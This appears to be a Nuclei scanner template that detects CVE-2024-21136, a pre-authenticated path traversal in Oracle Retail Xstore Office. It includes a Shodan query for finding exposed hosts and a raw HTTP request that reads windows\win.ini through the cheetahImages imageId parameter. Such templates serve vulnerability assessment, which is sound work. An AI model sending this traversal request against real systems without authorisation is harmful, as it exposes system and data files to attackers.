id: CVE-2024-21136

info:
  name: Oracle Retail Xstore Suite - Pre-authenticated Path Traversal
  author: DhiyaneshDk
  severity: high
  description: |
    Vulnerability in the Oracle Retail Xstore Office product of Oracle Retail Applications (component: Security). Supported versions that are affected are 19.0.5, 20.0.3, 20.0.4, 22.0.0 and 23.0.1. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Retail Xstore Office. While the vulnerability is in Oracle Retail Xstore Office, attacks may significantly impact additional products (scope change).
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Retail Xstore Office accessible data.
  reference:
    - https://www.oracle.com/security-alerts/cpuapr2024.html
    - https://www.synacktiv.com/en/advisories/oracle-retail-xstore-suite-pre-authenticated-path-traversal
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21136
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2024-21136
    epss-score: 0.01783
    epss-percentile: 0.7598
    cpe: cpe:2.3:a:oracle:retail_xstore_office:19.0.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: oracle
    product: retail_xstore_office
    shodan-query: html:"xstoremgwt"
  tags: cve,cve2024,oracle,xstore,lfi,vkev,vuln

http:
  - raw:
      - |
        GET /xstoremgwt/cheetahImages?imageId=..\..\..\..\windows\win.ini HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'for 16-bit app support'
          - '[fonts]'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100cd83a4573d0cb4b88e4fb6e6f20cbe0000fbe2adf0a2341493a7251798b4e1fe022100dea15b5f9f55fa9ca2866d832f269996429b88850daa149df4b8e4bdb5a7cd5c:922c64590222798bb761d5b6d8e72950